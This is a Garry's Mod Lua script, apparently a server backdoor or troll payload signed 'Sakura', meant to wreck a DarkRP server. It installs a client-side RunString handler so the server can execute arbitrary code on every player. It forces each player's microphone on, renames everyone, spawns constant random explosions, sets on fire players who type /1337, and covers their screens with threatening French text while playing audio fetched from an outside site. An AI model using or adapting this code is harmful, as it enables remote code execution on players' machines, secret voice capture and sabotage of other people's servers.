PIRE CAUCHEMAR

util.AddNetworkString "skeleton_dancing_troll"

local lol = {}
function lol:RandomString( intMin, intMax )
	local ret = ""
	for _ = 1, math.random( intMin, intMax ) do
		ret = ret.. string.char( math.random(65, 90) )
	end

	return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
	self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
	pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
	if not self.m_tblActions[pPlayer.m_intCurAction] then return end

	timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
		if not IsValid( pPlayer ) then return end
		self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
		self:NextAction( pPlayer )
	end )
end

function lol:Start( pPlayer )
	pPlayer.m_intCurAction = 0
	self:NextAction( pPlayer )
end


function lol:SendLua( pPlayer, strLua )
	net.Start( "skeleton_dancing_troll" )
		net.WriteString( strLua )
	net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
	pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
end


-----START LINE CODE FOR DANSE
for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
-----STOP LINE CODE FOR DANSE

------- STARTCODE FOR FORCE CHANGE NAME
for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", "SAKURA TA EZ TON SERVEUR") end
------- STOP LINE CODE FOR CHANGE NAME

------- STOP LINE CODE FOR CHANGE NAME
for k,v in pairs(player.GetAll()) do v:ConCommand("+voicerecord") end
------- STOP LINE CODE FOR CHANGE NAME

------- ARMAGEDDON
            hook.Add("Think", "armageddon", function()
                local explode = ents.Create( "env_explosion" )
                    explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
                    explode:Spawn()
                    explode:SetKeyValue( "iMagnitude", "500" )
                    explode:Fire( "Explode", 0, 0 )
                end)
---------

--------- GIANT
hook.Add("Think", "giant", function()
    for k,v in pairs (player.GetAll()) do
        v:SetModelScale(50.5, 100);
        v:SetRunSpeed(400 * 2);
        v:SetWalkSpeed(200 * 2);
    end
end)
------------------


for k, v in pairs( player.GetAll() ) do
	lol:SetupPlayer( v )
	timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
	lol:SetupPlayer( pPlayer )
	timer.Simple( 10, function() lol:Start( pPlayer ) end )
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
	if strText:sub( 1, 5 ) == "/1337" then
		pSender:Ignite( 1e9 )
		pSender:ChatPrint( "Nop" )
		pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
		return false
	end
end )


lol:PushAction( 0, function( pPlayer )
	lol:SendLua( pPlayer, ([[

			sound.PlayURL( "https://supronrp.fr/secret/satan.mp3", "", function()end )

							local time = 1

		hook.Add( 'RenderScreenspaceEffects', 'loading', function()


		draw.RoundedBox( 0, 0, 0, ScrW(), ScrH(), Color( 0, 0, 0, 255 ) )

			if time == 1 then

			timer.Simple( 5, function() time = 2 end )

	draw.SimpleTextOutlined(
                "Bonjour... Je suis Sakura...",
				"DermaLarge",
				ScrW() /2 +math.random( -8, 8 ),
				ScrH() /2 +math.random( -8, 8 ) +1,
				Color(math.random(1,125),math.random(1,2),math.random(1,2)),
				TEXT_ALIGN_CENTER,
				TEXT_ALIGN_CENTER,
				1,
				Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )


				end

				if time == 2 then

				timer.Simple( 5, function() time = 3 end )

				draw.SimpleTextOutlined(
                "Je serait ton pire cauchemard...",
				"DermaLarge",
				ScrW() /2 +math.random( -8, 8 ),
				ScrH() /2 +math.random( -8, 8 ) +1,
				Color(math.random(1,125),math.random(1,2),math.random(1,2)),
				TEXT_ALIGN_CENTER,
				TEXT_ALIGN_CENTER,
				1,
				Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
				end

			if time == 3 then

				timer.Simple( 5, function() time = 4 end )

				draw.SimpleTextOutlined(
                "Je vient ici pour faucher la vie de ce serveur...",
				"DermaLarge",
				ScrW() /2 +math.random( -8, 8 ),
				ScrH() /2 +math.random( -8, 8 ) +1,
				Color(math.random(1,125),math.random(1,2),math.random(1,2)),
				TEXT_ALIGN_CENTER,
				TEXT_ALIGN_CENTER,
				1,
				Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
				end

				if time == 4 then

				timer.Simple( 5, function() time = 5 end )

				draw.SimpleTextOutlined(
                "La ou il disparaitera... en ENFER...",
				"DermaLarge",
				ScrW() /2 +math.random( -8, 8 ),
				ScrH() /2 +math.random( -8, 8 ) +1,
				Color(math.random(1,125),math.random(1,2),math.random(1,2)),
				TEXT_ALIGN_CENTER,
				TEXT_ALIGN_CENTER,
				1,
				Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
				end

				if time == 5 then

				timer.Simple( 5, function() time = 6 end )

				draw.SimpleTextOutlined(
                "A bientÃ´t... En ENFER...",
				"DermaLarge",
				ScrW() /2 +math.random( -8, 8 ),
				ScrH() /2 +math.random( -8, 8 ) +1,
				Color(math.random(1,125),math.random(1,2),math.random(1,2)),
				TEXT_ALIGN_CENTER,
				TEXT_ALIGN_CENTER,
				1,
				Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
				end


				if time == 6 then

				timer.Simple( 5, function() time = 6 end )

				draw.SimpleTextOutlined(
                "Mhouaaaaa....",
				"DermaLarge",
				ScrW() /2 +math.random( -8, 8 ),
				ScrH() /2 +math.random( -8, 8 ) +1,
				Color(math.random(1,125),math.random(1,2),math.random(1,2)),
				TEXT_ALIGN_CENTER,
				TEXT_ALIGN_CENTER,
				1,
				Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
				end


		end)

	]]))
end )